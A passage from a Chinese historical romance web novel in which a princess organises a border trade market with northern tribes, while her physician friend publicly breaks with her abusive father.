摊字后面,柳寄雪正肃容专注地为他把着脉,闻言眉眼柔和下来,收回了手,提笔写着什么,“没什么大碍了,再喝两幅药巩固一下即可。” 村长登时长长舒了一口气,抬袖擦了擦额间的汗。柳大夫哪里都好,每日不落地来为他们逐一把脉,有病的吃药治病,没病的小心预防,可是十分尽职尽责。 唯有一点不好就是,把脉的时候面相态严肃,瞧得人心里头不住地打鼓。 村长接过柳寄雪写好的药方,道着谢正要去一旁抓药,忽然看向城门方向,轻咦一声,“哎呀,那不是郡主的马车吗?” 柳寄雪立时回头看去,一辆熟悉的马车缓缓驶近,接着跳下来一个再熟悉不过的身影。 “阿雪!” 一见封眠,柳寄雪未语先笑。 第54章 “郡主且放心吧,大家身上都只是些寻常的小毛病,偶有风热之症,吃几服药便痊愈了。如今瞧来,并没有疫病的风险。” 柳寄雪将封眠和百里浔舟带到了一间营帐中,跟封眠细细说着这几日的情况。 封眠扫一眼营帐内,陈设简陋,只一架木屏风将床榻和桌案相隔,权做寝间与会客间。角落里一个小小的陶盆种着蒲公英,嫩黄的花朵将灰扑扑的室内点缀出一抹亮色。 前日有几个孩童高烧不退,柳寄雪便请人搭了这间营帐,自己住了下来,一整夜都没有合眼地照顾着。 看她眼底都浮起了淡淡的青黑色,封眠有些心疼地抿了抿唇角,“这几日真是辛苦你了。” 柳寄雪眼底浮起笑意,柔声道:“行医救人,是我心之所向,岂会觉得苦累?” “况且郡主每日都遣人送参汤来,我只是瞧着有些疲累,身子好着呢。” “参汤也就是勉强帮你补一补,还是需要好生歇息。正好最迟三五日,我便带他们回黑石沟去,你可以安心回王府休养几日了。” 柳寄雪好奇:“回黑石沟做什么?” 百里浔舟错愕:“你带他们回去?” 柳寄雪和百里浔舟异口同声地问,侧重点完全不同。 百里浔舟似是被她要一同去黑石沟的消息惊着了,险些跳起来,虽是坐住了,上半身也向前倾着,目光灼灼地等她回答,疑心自己会不会是听错了。 封眠看看这个,瞧瞧那个,先答了柳寄雪的话,将准备去黑石沟开互市的事情简单说了。 “如此也挺好,他们虽然嘴上不说,但我瞧着心中都是想念着故土的。”柳寄雪很是为他们感到高兴,“村长还悄悄地问我云中郡可有卖粮种的,盘算着要备些种子,待来年春耕呢。” 她说罢,没忍住瞧了一眼另一边的百里浔舟,他好似旁的都听不见了一般,又急急地往前探了探身子,等她说完话,迫不及待地开口问道:“你放才说什么?你要一起去黑石沟吗?” 封眠忙点点头,摁着百里浔舟的肩头将他推回去坐好,“我自然是要去的呀。毕竟是第一场互市,百姓们定然多有疑虑,我不到场怎么能行?” “我好歹也是舅舅钦点的负责人,若是躲在后面,让他们去冲锋陷阵,我却不担半点风险,岂不是令人寒心?” “是吧,少将军?” 百里浔舟自知她说的不错。这就如将士们战场征逐一般,他与父亲都习惯于身先士卒。 将不畏死,卒不惜命,方能戮力同心,死战不休。 可是…… “我脱不开身,不能亲自护送你。” 柳寄雪抿平了唇角:啧。 还记得郡主来云中郡之前,她每次去王府,都能瞧见王爷气急败坏地遣人去给百里浔舟传信,催他回府准备去接郡主。他将王爷的一道道催令当耳旁风,继续我行我素不肯回府。 现在郡主人在北疆内,只是去个稍远点的边城,有疾羽营和鸾仪卫护送,又有顾、陆两位大人随行,他倒眼巴巴地想着要护送了。 男人的心思果然是说变就变了。 “黑石沟虽是边城,但也在北疆境内,有你与父亲坐镇,又有疾羽营跟着我呢,定没有危险的,你就放心忙你的事。” 见封眠笑容无半分阴霾,好像要离开云中郡,好几日见不着他也全然无所谓的样子,百里浔舟心下又默默气闷起来,憋了半晌,也没能再说些什么。 封眠派人将村长等人召集起来,将互市的事情宣布了,问他们愿不愿意随她 一起回去。 场面先是一静,接着便爆发出难以抑制的欢呼声。 村长颤抖着嘴唇,一迭声地应着:“愿意!我们当然愿意回去!郡主大恩呐!” 云中郡较黑石沟来说,固然安稳繁荣,可终究是背井离乡,睡的是别人的榻,喝的是别人井里的水。黑石沟再破再穷,也是自个儿一砖一瓦垒起来的家。 能回去挣一口饭吃,重整被天灾打破的家园,这份希望比任何事都令人喜悦! “能回家了”这念头像野火般在每个人心中烧起来,惶惑不安的心找到了安定的前路,每一张面孔都变得轻松起来,各自去收整行装。 “郡主,世子殿下,你们先回去吧,我还有几人的脉未把完。” 封眠本想将柳寄雪一道捎回去,柳寄雪却摇头拒绝了,“郡主将要远行,我也不好再住在雪月居,这两日已在请房牙帮我瞧屋子了。” “你身上的银两还够用吗?可要提前给你支些俸银?” 封眠说请她做女医官可不是哄她,正正经经地立了文书、设了薪俸的。 本想说回春堂后头有间小院空着,又想若是吃住都在医馆里,那岂不是没有个放松休息的时候了,便干脆作罢。 “够的,我这些年多少也攒了点体己钱。”柳寄雪温言拒了,租间院子的钱她还是有的,不然哪里来的底气离家呢? 封眠放下心来,正准备扶着百里浔舟的手上马车,忽然瞧见不远处不知何时停了另一辆马车,马车下等着一个略有些眼熟的身影。 柳寄雪顺着目光看过去,脸色登时冷了下来。那人见柳寄雪看见了自己,忙快步上前来,“寄雪,女儿!爹总算见着你了!” 原来是元老爷。 封眠蹙眉,抽回手站到柳寄雪旁边,做回护状,“元老爷慎言,此处哪里有你元府的女儿?” 元老爷嗫嚅着行礼:“草民见过郡主殿下,见过世子殿下。” 他垂手一副老实模样地站着,胡须凌乱,鬓角生着白发,眼下纹路松松垮垮,显然几日未能安眠。 “郡主容禀,寄雪生在元府,长在元府,便是她与我闹脾气,不想认我这个父亲,我也不能不认她这个女儿啊!” 他说着殷切地看向柳寄雪,“寄雪,跟爹回家去吧。那许氏不是个好东西,爹这么多年都被她蒙蔽了!爹回去就休了她为你出气!” “莫要与爹置气了。爹如今瞧着你这风餐露宿的辛苦模样,真是心疼啊!” 这人怎么能厚颜无耻到如此地步?! 封眠当真是开眼了,“当日是你自己签下的义绝文书,从此生死荣辱两不相干,如今这幅模样是想做什么?” “郡主实是误会草民了!当日那些要与寄雪恩断义绝的话,都是我那继夫人许氏说的!不怕郡主笑话,那许氏镇日里就是个河东狮,草民是一时糊涂,才签下那让我悔之不及的字啊!” “你……”封眠正待说些什么,肩上一只手轻柔地压了压,柳寄雪一张俏脸惨白,轻轻对封眠摇了摇头。 封眠一顿,父母纵有千般不是,当着柳寄雪骂她的亲生父亲,好像是有些不大好。 柳寄雪上前一步,挡在了封眠前头。 她方才被元老爷一番话气得呼吸都急促起来,手脚冰冷发麻,待听了封眠的维护之言才渐渐缓了过来。 有些埋在心底许久的话,也是时候应当说出来了。 “母亲在世时,你养许氏做外室,生下一个比阿姐还要大上几岁的儿子。许氏等不及上位,几次三番来府上闹,你没管,坐视两个女人为你争风吃醋,生生将母亲气死了。” “母亲尸骨未寒,你便迫不及待将许氏迎娶进门。他们母子欺辱我与阿姐,克扣我们的吃穿用度,我常常吃不饱饭,是阿姐将自己的口粮省下来喂我。那时候你也没管,坐视他们作践你已故发妻留下的唯二骨血。” “阿姐刚到及笄之年,许氏便迫不及待要将她远嫁,我们那么哭求你,你看着堆了满院子的聘礼,打了阿姐一巴掌,强行把她送上了花轿。阿姐受不了夫家磋磨,写信求救,你没管,还将我也强行关在家中。” “阿姐去世,你连泪都没掉两滴,便与那黑心肝的人家继续把酒言欢,洽谈生意。” 柳寄雪顿了顿,眨去眼中的泪意,轻吐一口气平复情绪,才接着道:“你从没管过阿姐的死活,也没管过我的,何必此时假惺惺?我若再当元家女,对不起母亲,对不起阿姐,更对不起我自己。” “你说是她蒙蔽你,那也是她逼着你打骂我吗?” “你从没将我当女儿,却将错处推到不相干的人身上,仿佛你也是什么受害者一样。” 她一双眼一错不错地盯在元老爷身上,一字一句道:“元善德,你才是那个最该死的人。你走吧,我不想再看见你。” 元老爷在柳寄雪一句句毫不留情的话语中,脸色愈见苍白,却不是伤心愧疚,而是气得手抖,“你怎么敢,你怎么敢这么与生你养你的父亲说话!” “生我的是母亲,养我的是阿姐。你若觉得我欠你什么,便将我院中那些草药拿去卖了吧。应当比你这些年花在我身上的银子还要多上几两。” “你混账!”元老爷气急败坏地抬起手。 封眠忙将柳寄雪拉到身后护着,百里浔舟一把抓住了元老爷半落的手腕,力道之大,让元老爷瞬间痛呼出声,只觉腕骨欲裂,再使不上一分力气。 “没听见吗?柳姑娘说了,不想再看见你。”百里浔舟的声音如寒冰一般,每一个字都淬着冷硬的杀气,“再来骚扰,本世子就让你和你那位宝贝儿子,好好尝尝牢饭的滋味。” “滚。”他猛地撒手一挥,如同拂去什么脏污一般将人甩出去。 元老爷踉跄着连退数步,脸上血色尽褪,只剩下全然的恐惧。他再不敢多看一眼,连滚带爬地转身就逃。 封眠轻抚着柳寄雪颤抖的肩背,“没事了,都过去了。” 当着众人的面,将自己的伤口血淋淋的撕开,对柳寄雪来说无异于公开处刑。可当将多年的委屈尽数倾之于口时,她却感觉周身一轻,浑然放松。 也许早就不该忍着了,压在心底,难受的也只有她一个人而已。 柳寄雪侧首,回了封眠一个浅淡的笑,“我没事,让郡主和世子见笑了。” “谁敢笑你,我便派人套他麻袋!”封眠认真道,她说罢看向一旁的百里浔舟,便瞧见他瞪着自己方才抓住元老爷手腕的那只手,一脸刚才摸到脏东西的嫌弃,想在身上擦一擦,又下不去手。 封眠和柳寄雪都被他这幅样子逗乐了,封眠从袖中拿出手帕,拽过百里浔舟的手替他擦了擦。 “行了,这下干净了。” 百里浔舟看看自己的手心,勾唇笑了一下,然后拿过封眠手里的手帕,“脏了,我帮你洗干净再还你。” 封眠随他去了,转而又与柳寄雪低语了两句,才上了马车。 马车缓缓驶向城内。 百里浔舟屈着一双长腿坐在封眠对面,单手隔着衣襟压在放着手帕的地方,指尖微蜷,心里乱糟糟地打着腹稿,被封眠唤了两声才回过神来。 封眠好奇地瞧他,“你想什么呢?” 喊了半天也不理人。 百里浔舟一直觉得她的眼睛澄澈得像小鹿,又像晶莹剔透的黑葡萄,总是亮晶晶的,专注地望着人时,让人心下忍不住砰砰跳,嘴巴就不听使唤地将心里话说了出来:“你去了黑石沟,也要记得每日给我传字条。” “什么?”封眠愣了一下。 “这三日我在军营,你都没有给我传过字条。”他语气很轻,像是怕自己突然的抱怨惹她不高兴一样,还颇有些“我受了如此天大的委屈,却还是委屈求全”的小心思。 封眠一时词穷。 她之前就觉得百里浔舟像五皇兄养的那只黑毛狼犬,本觉得如此想他不大礼貌,可如今对他那双切切的黑眸,仍是觉得这幅神情,就和那只黑毛狼犬想讨肉骨头吃时的神情,一模一样—— 作者有话说:百里浔舟:汪? 第55章 车轮的辘辘声与长街上喧阗的人语交织在一处,浅浅荡过耳边。 封眠歪着头,额角轻轻抵在窗 棂冰凉的木框上,带着不知名花香的空气从薄缎缝制的车帘缝隙钻进来,轻轻软软地扑了一脸。 薄缎车帘随着微晃的马车一下下荡起,又落下,视野忽明忽暗。 帘起时,炽亮的日光猛地灌入,街景人影如浸没在清水中的画。帘落时,车厢内蓦地沉入一片幽暗,眼前仿佛还残留着上一瞬的日光,在眼皮上烙下晃动的残影。 封眠的目光落在一个扛着糖葫芦垛子叫卖的货郎身上,他的身影很快消失在窗外,薄帘也在这瞬间落下遮住了视野。 在明灭不定的光影中,封眠混杂的思绪飘到了前几日的马车上,百里浔舟说她三日没有给他传过字条后,目光便一瞬不瞬地裹在她身上。 她莫名地感到一点不自在,避开了他小小的控诉,只点头应下了他前一句的要求,道:“好呀,我会记得写的。” 望着她的那双眼“叮”地一下亮了起来,恰有风拂起车帘,日光将她的脸颊照得热了起来。 她偏过头瞧向长街,下意识地抓住视野中看到的第一个身影,无意义地念了一声:“啊,糖葫芦。” 话题就这么被轻飘飘地转开了。 直到今日准备出城,她才再次将思绪转回,开始思索今日的字条要如何写,才能不被归为敷衍。 封眠正倚着窗棂出神,忽听得一阵清脆急切的马蹄声自后方由远及近,迅捷地追了上来。 紧接着微晃的车厢便缓缓停稳。 封眠正想问发生了何事,便听身旁的车窗框上传来“叩、叩”两声轻响。 那声响克制中还带着一丝急切。 封眠撩开帘子,一张俊秀带笑的脸庞便倏地探至窗边。 百里浔舟的气息还带着纵马疾驰后的微喘,额角渗出细汗,一双眼睛却亮得惊人。 他从怀中掏出什么东西塞了进来,封眠下意识地接到手上。 那是一枚骨雕的哨子,跟上次在百里浔舟手中瞧过的那枚差不多,平整的底部刻着一尾简单的小舟,两侧穿着条簇新的红绳。 “我刚雕好的。”他语速很快,眉眼间带着飞扬的笑意,“你戴在身上,若遇见危险便吹响它,周遭定北军听见了,定会相助。” “尾巴那里是个小印章,你敲在字条上,这样他们瞧见了,就会将字条第一时间送到我手上。” “去吧,一切顺利。” 说罢,他也不等她回应,只冲她展颜一笑,便缩回头去,如来时一般匆匆地走了。 封眠反应过来探头去看时,只能望见他骑在马上的背影,高束的马尾被风恣意卷起,与玄青色的发带交缠着猎猎飞扬,满是潇洒的少年意气。 队首,并辔而立的顾春温与陆鸣竹一同瞧着这一幕。 陆鸣竹面上欣慰之意掺杂着一点说不清道不明的忧伤,“世子殿下看来,终于对郡主有几分上心了。” 往日心里那点担忧,似乎可以放下了。 但怎的觉得更惆怅了呢? 顾春温面上一直挂着副温文尔雅的浅笑,只是握着缰绳的手指不易察觉地收紧了些。他目光掠过将身子缩回车内的封眠,迅速放下的薄帘轻轻荡着。 一瞬心思百转,泛起细微的难以言喻的酸意。 但他随即便将这丝不适按下,唇角弯起一个更为和煦的弧度,轻声感叹道:“世子殿下确是一片赤子之心。若能长久,倒也是好的。” 若不能长久…… 他垂眸,掩去一丝极淡的讥诮与冷意。 车队重又行驶起来。 马车内,流萤帮着封眠将骨哨戴起来,红绳调节到一个能藏在衣领下,又方便拿取的位置。 “想不到世子爷还有这等手艺呢,这哨子叼得还挺漂亮的。” 雾柳眼底亦含着笑意:“最重要的是心意。” 唔,她倒觉得他是变着花样地来提醒自己给他传字条呢,连印信都帮她刻好了。 封眠两指捏着骨哨,细细看尾部刻着的小舟,线条简单质朴,与她送他的香包上所绣的艨艟相比,像那艘艨艟生的幼崽。 怪可爱的。 封眠珍重地将骨哨藏进领口,“帮我备纸笔来。” 接下来这一日都得在路上度过,她得留心记着这一路有什么花啊草啊的,也好在字条上有话可说。 不能再像以前那样干巴巴的,只有一两句行踪汇报,显得好对不起这枚骨哨的诚意啊。 这边封眠一行人正往黑石沟驶去,召集互市商人的消息也已由疾羽营士卒一路传播开去。 封眠希望当她在黑石沟开辟好互市的场所后,一切便能立即踏上正轨。 穹庐般的蓝天下笼着一片连绵的绿野,数顶小小的帐篷点缀其间,仿佛地面隆起的一颗颗小蘑菇。 一道五人骑影向帐篷聚集的地方疾驰而去,一名梳着异族发辫、肩背箭筒的小少年听见马蹄声,扭身细望,大惊失色地丢了手里的弓,拔腿就向营帐跑去。 他一面跑一面肝胆俱裂地嚷着:“大雍!大雍人打进来了!大雍人打进来了!” 数道身影从营帐里走出来,茫然地看着小少年撕心裂肺地狂奔而过,搞不清楚发生了什么。 “哎哟!” 闷头狂奔的小少年被面前营帐内钻出来的人一拳锤在脑袋上。 “嗷嗷地嚷什么呢?” 小少年捂着脑袋抬头,瞧见面前居高临下望着他的人,嗫嚅着唤了声“圣女”。 他口中的“圣女”弥荼一身火红色的利落劲装,微卷的发间打着几缕辫子,鼻梁高挺,茶色眼眸亮而锐利,白玉般的额间束着条深红色抹额,明艳又飒爽。 她不耐烦地又戳了戳小少年的额头,“答话,嚷什么呢” 小少年这才想起正事,眼眸恐惧地圆睁,呼吸都急促了几分,颤声道:“大雍人打进来啦!” 弥荼一动不动地瞧他,不大信。 “是真的!”小少年急得直跺脚,往来时的方向指了指,“我都瞧见了,五个人,骑着马,都穿着疾羽营的铠甲!” 弥荼秀眉一扬,打了个呼哨,唤来一匹矫健的战马,“来人,随我去探探。” 一声令下,便有数人响应。 策马前,弥荼瞧一眼小少年,用手中马鞭轻柔地敲了敲他的肩,“记住,便是大雍人真的打进来了,也不要像刚才那样大呼小叫,丢了苍狼部的脸。” 小少年脸上一红,讷讷点头。 “驾!” 弥荼策马如离弦之箭一般疾冲而去,果然在百米外就瞧见了驰来的五名骑兵。 定北王和那位世子就是再自傲,也不会只派区区五名骑兵就妄想打下苍狼部吧? 弥荼心中这般想着,反手自箭囊中取出一支箭,引弓松弦。 箭矢破空而去,又疾又稳地擦着当先一名骑兵的马蹄钉入地面,羽尾轻颤。 “再近一步,休怪箭矢无眼!” 弥荼勒住马缰,用大雍话喊到。 身后数骑排开,卷起的烟尘缓缓沉降。 那五名骑兵急忙勒马,为首一人高举起双手,示意并无武器,扬声道:“我等并非寻衅!是奉世子与郡主之命,为互市之事前来传书!” 弥荼眯起茶色的眸子,锐利的目光如鹰隼般锁住几人,并未放松警惕,“什么互市?没听说过。” “有文书为证,郡主望与苍狼部缔结友好之契,特邀苍狼部参加大雍与北夷三十六部的第一届互市!” 为首的骑兵一面扬声喊道,一面从怀中取出一卷文书,裹了块石子,利落地扬臂一丢。 那卷文书划出一道弧线,“啪”地一声,精准地落在弥荼马前数尺的草地上。 她身后一名亲卫正要上前,弥荼抬手制止。她亲自策马前行两步,俯身用马鞭灵巧地一挑,将那卷文书捞入手中。 她不紧不慢地挑开系绳,瞧了一眼,见上面印着鲜红的印信,才懒懒地一挥手。 “告诉你们主子,苍狼部收到了。” “圣女,这什么‘互市’是真的假的?让咱们跟大雍人做生意?别是又 憋着什么坏,把咱们骗过去一锅端了吧?” 营帐内,听弥荼念完文书内容的亲卫首领赫尔林困惑地问,大雍主动要与他们做生意,这事怎么看怎么不靠谱。 “阿爷觉得呢?”弥荼没答话,而是看向上首坐着的老人。 老人是苍狼部的狼主,他的目光落在文书后面的印信上,沉吟片刻,将问题丢给了围坐的众人,“你们怎么看?” 一名肌肉虬结的壮汉拍了桌子,“不能信!阿尔纳部才派了人来,想要集结三十六部的兵力,再去攻打大雍。到时将他们的土地都打下来,不就什么东西都是我们的了!” 弥荼一掀眼皮,冷峭一笑,“二叔糊涂了?阿尔纳部哪次不是被定北王咬着尾巴打?拉拢我们,不过就是想让我们去当前锋肉盾,拿命给他们填一个机会罢了。” “这些年来,他们欺辱我们各部族的事做的还少吗?” “你这丫头,上次你不是也答应了去烧粮草吗?”二叔被骂急了,又不敢冲她拍桌,只能提起旧事。 弥荼一拍桌,“那时我当他们真想合作,才答应送个投名状,事后他们说好的物资一样也没送过来。再信他们的鬼话,我就将脑袋摘下来给阿丹当球踢!” 角落里抱着饼啃的小少年浑身一颤,忙摆手,“我不踢我不提,圣女你别这样。” 弥荼没理他,继续道:“阿爷,我觉得我们可以试一试。我亲自带人去,若是有什么不对劲的,杀一条血路也就逃出来了。” 老人迟疑片刻,“让我再想一想。” 他想到什么,吩咐道:“你去打听打听,疾羽营都给哪些部族传了信。” “好嘞阿爷。”弥荼爽快应了,利落起身往营帐外走—— 作者有话说:谢谢宝宝们的评论和灌溉,每天看一眼都感觉好幸福好开心呀[害羞]悄悄啵一口[亲亲] 第56章 鸟鸣啁啾,密林成荫。 午后的阳光被茂密的茅草亭顶筛过,落下斑驳而温柔的光影,在月白色裙裾上烙下深深浅浅的图案。 封眠坐在木凳上,面前摆着一卷摊开的舆图,正与坐在对面的陆鸣竹低声交谈。 陆鸣竹指着舆图上几处地方,“底下的书吏已经在这几处买好了铺子,即日便可开业。” 这是之前封眠交予他的开分铺的任务,他颇做了几番取舍,最终在云中郡周遭选定了四个相对来说服兵役最多的城镇。 待这几间铺子的运转走上正轨,便可以继续向四周辐辏,以封眠这不怕花钱的财力,慢则半年,快则三月,便可确保北疆境内所有定北军及其家属都能享受上福利了。 陆鸣竹悄眼看向身侧的人,心中想着,也不知道她满不满意呢? 封眠微微倾身,目光顺着陆鸣竹修长的指尖落在图上,神色极为专注。 阳光恰好照亮她半边脸颊,细腻的肌肤如上好的暖玉,长睫垂下,在眼睑处投下一小片安静的阴影。 顾春温拐进院子时,瞧见的便是这一副情节,他上前不动声色地坐到两人中间,提起茶壶为两人的杯盏续上清茶,一左一右地将茶盏推了过去,自然地介入其间。 “郡主,陆兄,谈得如何了?” 封眠接过茶盏,先笑着向他道了声谢,才继续对陆鸣竹道:“铺子事交予陆大人办,我最是放心了。不必吝惜银钱,只是铺子掌柜的人选需要审慎些,偷奸耍滑阳奉阴违的,万万要不得。” “自然,郡主放心。”陆鸣竹有些高兴地点点头。 顾春温适时地叹了口气,“陆兄是顺利了,可怜我这里,实在称不上顺利……” 举办互市的场所已由村长带着人收整出来了,连每一家摊位都划分得整整齐齐,做好了木制路标,可以说是十分妥帖。 然而传信的部族都还没有回消息,至于大雍参与互市的商贾们……除了郡主名下的铺子,还有折夫人友情提供的几家商铺,其余小门小户,皆屏息观望,无一人敢率先冒头。 即便是郡主都已亲自来了黑石沟,他们心底里头还是打鼓。万一北夷那帮人闹出乱子来,疾羽营和鸾仪卫自然是紧着郡主保护的,那可是皇亲国戚,是世子妃啊! 他们摸摸自己的项上人头,还是放不下心来。 导致这指路的路标之上,都还空着一多半。 离互市正式开启的日子还有三日,倒是有些感兴趣却又胆子小的行商恰好路过,来到筹备多时的互市招商会上看个热闹。 他们更多是想来瞧瞧主持这互市的郡主是个什么厉害模样,可真是有胆子,竟敢和北夷人做生意。 一瞧是个娇滴滴的美人,心下都更为失望了。这若是个能强壮些的,能提弓射箭的女子,他们说不得还能更安心一下。 这风一吹便能折倒的模样,当真能顶事吗? 这话他们自然不敢当着面议论,只是彼此交流的眼神之中已将轻视失望的意思表达得淋漓尽致。 向来神色柔和的顾春温都有些冷了脸,忍不住便要发作,被身后的封眠轻轻拍了拍肩头。 封眠冲他微微摇头,示意他不必动怒。 接着她向前迈了两步,目光平静地扫过一众商贾,声音清朗,不高却足以让每个人听清。 “诸位掌柜皆是行遍天下、见多识广的聪明人。我知诸位心下有许多疑虑,关心这风险几何?利益几分?” “我也不与大家谈什么利国利民、安边治世的大道理,只说三件实在的事。” “第一,凡互市商队,皆可领取镖旗。疾羽营与鸾仪卫会定期巡道,清剿匪患,护送你们一路离开北疆。若在路上出现任何闪失,导致货损,依货值,郡主府赔付八成。” 封眠周身不见丝毫骄矜之气,语气斩钉截铁,令人众人都听进了心中。他们在北疆行商,风险本就教旁处更大些,许多人都打算走过两三次商道便再也不走了,北疆市场是大,但也极可能前一次赚得盆满钵满,后一次便货物尽失。 更可怕的是连命都丢了。 郡主如今却说商道有将士巡逻,那便不怕半道遇匪了! “第二,互市之内,自有律法。凡欺行霸市、劫掠偷盗、恶意伤人者,无论他是大雍人、北夷人,皆依《互市条规》严惩不贷!疾羽营与鸾仪卫亦会在内巡逻,保障每一位百姓的安危。” “第三,互市前三年,市税减半,摊位免费。黑石沟附近的货栈,也以最低价租借给大家囤货周转。” 封眠目光清亮地扫过每一个人,“今日,无需大家立刻押上全部身家。只请诸位,信我一次。” “愿意参与本次互市的商户,可上前来,白纸黑字,立据为凭。往后一切,我们依约行事!” 台下顿时响起嘈嘈切切的议论声,有了这三点保证,众人纷纷都有些心动,彼此交头接耳着,跃跃欲试,蠢蠢欲动,却都在等着瞧,有没有那敢做第一个的人? 正当此时,人群边缘一阵骚动,一位风尘仆仆的中年富商排众而出。 “我来!郡主,草民愿参与互市!” 他发冠蒙尘,袍角沾泥,显是刚经过长途跋涉,一双眼睛却亮得惊人,精神头极好的模样。 他三两步挤到最前头,站定了后顶着满额的汗水回身,环视在场诸人,声若洪钟:“诸位!我姓赵的行商三十年,南来北往,踏遍了大雍境内的大小城镇,说实话,遇上劫道的,赔本折利,那都不是新鲜事,只要命还在,也就将这亏吃下了,灰头土脸地回家去,借些银钱再谨慎小心地跑一趟。” “前些日子,我在拥雪关附近遇着一群流民化作的劫匪……” 人群中,黑石沟村长默默把自己往后头藏了藏。 “他们没动我的货也没伤我的人,只抢了些吃食,并一点点的琐碎银两。这比起其他流匪来说,都当不得一个“匪”字。 可偏偏郡主还惦记着我这点损失,亲自派人追上来,加倍地赔给了我!” 封眠听得一愣,才意识到这是黑石沟众人曾经打劫过的倒霉富商。 顾春温和陆鸣竹的目光也落到封眠身上,她的一句话,一次妥帖的善心,行时无心,不求回报,却意外地为这次的互市埋下了一个好的开头。 世间万般筹谋,皆不及人心向暖。 “这不是钱多钱少的事,这是一份千金难买的善心与仁义。”姓赵的富商猛地一拍胸膛,豪气云干地说:“我老赵今天就把话放在这儿了!郡主是真心实意为了百姓好的人,她绝不会拿咱们的身家性命当儿戏!” “这互市,我信她!” 话音掷地,如巨石落水,寂静的人群顿时起了波澜。 顾春温适时扬声道:“互市摊位名额有限,先到先得。” 众人纷纷入潮打浪头一般向前涌去。 “我也信!我也要参与互市!” “还有我,还有我!” “别挤我啊,我先来的!” “诸位莫急,排好队,一个一个来!”陆鸣竹赶紧帮忙维护秩序,然后便被左边踩一脚,右边捣一拳。 顾春温看不过眼,将他拉了出来,“你这体质……” 他轻叹一口气,“就别进去挤了。” “来,喝茶喝茶。”已在一旁展开的巨伞下坐好的封眠笑眯眯招手,示意两人过来歇一歇,“总算是不必再担忧互市之日,摊位空荡荡了,快先歇一歇吧,之后的事情可还多着呢。” 顾春温从善如流地坐到封眠身侧,陆鸣竹也巴巴地跟上来。 “辛苦二位大人了。”封眠亲自给二人倒满了茶盏推过去。 陆鸣竹受宠若惊:“不辛苦不辛苦,为郡主做事,都是应该的。” 顾春温轻笑道:“我与陆兄可不敢居功。迄今为止,郡主想做的事情,似乎还没有做不成的。” 这话一出,封眠细细回想了一下,蓦地想起来,最初她想去春日宴偶遇顾春温,此事便没成呀。 她古怪地瞧一眼顾春温,赶紧摇摇头,将旧日思绪赶出脑海。 未成的史书之言早已改写,以后大家便是同僚,可莫要胡思乱想了。 顾春温:……? 总觉得好像错过了什么。 互市顺利开头的时候,云中郡外几百里外,一座名为雀城的小城内,几家商铺已悄然易主。 杏花街上一间空置许久的铺子前头,被挂上了“封”字牌。 路过的百姓与忙碌的小工闲聊,“哎,小哥,这挂着的牌子写的什么?” “是个‘封’字,是我们东家的姓。” 茶摊上一个背对而坐的青年闻言回首,瞧一眼挂着字牌,瞳孔微震,开口问道:“这是哪家的‘封’字?” 他穿一身靛蓝直裰,眉目英挺,有着奔波留下的风霜。 小工格外骄傲地一仰首,“我们东家这个‘封’字可尊贵得很!东家是当今陛下亲封的清平郡主,如今的定北王世子妃!” 驻足围观的百姓惊呼出声,“喔唷,那是尊贵的很嘞,怎么想着跑来咱们这种小地方开铺子?” “你们中可有人的儿子在定北军中?”小工卖了个关子。 人群中一位婶娘拽了拽身旁腼腆妇人的手,“她家有,张氏她家大小两个儿子,都投了定北军了!” “那可是了不得!定北军厉害得很。” 腼腆妇人垂着眼缩回手,心下苦涩,儿子们为了报国的理想偏要投军,邻里们都敬佩她家有两个定北军,可是这有什么用? 家中大小活计都压在她与夫君两人身上,公婆也镇日不得闲,病了也不敢与她说。两个小子的饷银就是尽数寄了回来,也是用得紧巴巴。 她更是不敢想,若是将来有个万一,两个儿子都为国捐了躯,她要如何活下去呢? “张婶婶,您可收到儿子的家信了没有?可有随信寄来一个铁牌牌?” 张氏点点头,两个铁牌上分别写着儿子们的姓名,还有奇怪的编号,初时她吓得险些晕过去,还以为这是从尸身捡回来的…… “那是咱们郡主为诸位定北军将士谋的福祉!” 小工如此这般地将铁制铭牌的用处说了,张氏都听晕了,这种好事还能轮到她的身上? 旁边人都稀罕坏了,先前拽她手的婶娘忙拉着她往回走,“快,快回去给我瞧瞧你那铁牌牌,咱拿过来试试是不是真的管用!” 众人纷纷散开,将听到的消息当八卦,各自传开了去。 茶摊上的青年一动不动地凝眸看着铺子下悬挂的“封”字牌,目如深潭一般,半晌,忽地冷笑一声。 第57章 开互市前一日,陆鸣竹和顾春温一早便陪着封眠来互市场所巡视。 互市场所设在黑石沟外围一片平坦开阔之地上,以木栅栏合围成一个半封闭的集市,入口前有两座瞭望台用以示警。 瞭望台后便是官员核验身份的稽查区,到时参与互市的商贾核查文书货物无误,便可顺利入内。用来阻止一些想要浑水摸鱼的小人。 进入集市内,便可见用简易的绳索分出的几大区域,一个宽阔的中央广场将大雍和北夷的商区分隔两“岸”,衙门官员会在此处上值,为两方的商贾解决交易争端,几名顾春温带来的通晓北夷语言的通事也会在此处提供一些翻译业务。 乡间的土路被夯得十分实在,平整又干净,不见尘土飞扬。 大雍商区处,大大小小的摊位几乎已被占满,商贾们正仔仔细细地理着货,十分井井有条。 相对应的北夷商区则空空如也,十分冷清。 递去邀约文书的七个北夷部族依然没有回复。 陆鸣竹瞧见此情此景有些担忧,“是否需要派人再去问上一问?” “不必。”封眠摆了摆手道,“强扭的瓜不甜。况且,互市于他们而言,所得利益远大于大雍,此番若是不来,后悔的应是他们才对。” “互市要开上整整半月,大不了前两日便只做大雍内部交易的市集,同样会很热闹。北夷那边观望到我们真是在正经开市集,又眼馋我们的茶盐货物,自然就会来了。” 若到时真的还没来,她再派人去“胁迫”一二,也还是来得及的。 顾春温赞同道:“不错,若我们一而再再而三地邀约,他们心下可能反而会更担忧我们有其他所图。不如就此轻松些。” 陆鸣竹略一思忖,是这么个道理。 上赶着的不是买卖。更何况大雍国力较北夷强上许多,怎么也不应是他们求着北夷部族来参加互市。 “郡主!” 就在这时,侍卫风甲从外头跑进来:“苍狼部圣女去了郡主下榻的驿站,请求一见。” 封眠落脚的地方是黑石沟所在郡县的一家小小的驿站。 两层小楼带一方小院,简朴自然。封眠一行许多人都住不下,只能在驿站附近撘营帐。 小院中有一方茅草亭,树影荫荫,展目便可望见院中长势喜人的野花野草,是封眠近日最喜爱的议事之地。 更兼视野开阔,眼风一扫,便将院中有几个人都收入眼底,双方都不必担心彼此在附近藏下什么埋伏。 侍卫将装扮十分异族的苍狼部圣女一行人带至亭外几步远的地方便停步。 “还请几位将武器卸下。”侍卫说着,便十分自然地上手欲接过弥荼身后亲卫首领赫尔林的佩刀。 